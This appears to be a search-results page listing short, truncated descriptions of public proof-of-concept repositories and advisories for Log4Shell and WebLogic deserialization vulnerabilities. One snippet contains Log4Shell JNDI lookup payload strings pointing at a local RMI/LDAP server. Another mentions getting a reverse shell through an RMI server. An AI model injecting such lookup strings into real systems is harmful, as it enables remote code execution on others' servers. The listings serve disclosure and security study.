9 matches found
CVE-2021-44228-Demo
CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer and LdapServ...
log4j-CVE-2021-44228-test
log4j-CVE-2021-44228-test demo projects to highlight how to execute the log4j CVE-2021-44228 vulnerability used spring boot just to be quickly set up. you'll have to excuse all the hard coding, it was just a POC. Usage Have Java 8 installed. Build using maven mvn clean package -DskipTests. Run...
CVE-2018-2893
CVE-2018-2893 Weblogic CVE-2018-2893 Enjoy 测试环境-Docker The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md Ps: 由于外网有RMI远程服务器，很方便弹到shell; 如果在内网，你需要指定自己的RMI服务器，不然无法获取到反弹Shell !!! 0x01 generate-payload 0x02 send-payload Payload:...
Weblogic-CVE-2020-2551-To-Internet
Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC to use on the Internet Test POC can be used for external network testing python CVE-2020-2551.py HOST IP Attempt to modify codebase for remote class loading failed python CVE-2020-TEST.py HOST IP Discussion on weblogic CVE-2020-2551 vulnerabili...
CVE-2021-2394
CVE-2021-2394 POC of CVE-2021-2394 Disclaimer This project is for learning purposes only. Any direct or indirect consequences and losses caused by unauthorized testing shall be borne by the user. Notes The POC sends packets using IIOP. Please add relevant dependencies dependencies for version...
CVE-2019-18318
A vulnerability has been identified in SPPA-T3000 Application Server All versions Service Pack R8.2 SP2. An attacker with network access to the Application Server can cause a Denial-of-Service condition by sending specifically crafted objects via RMI. This vulnerability is independent from...
EUVD-2020-26509
Malware in sbrugna...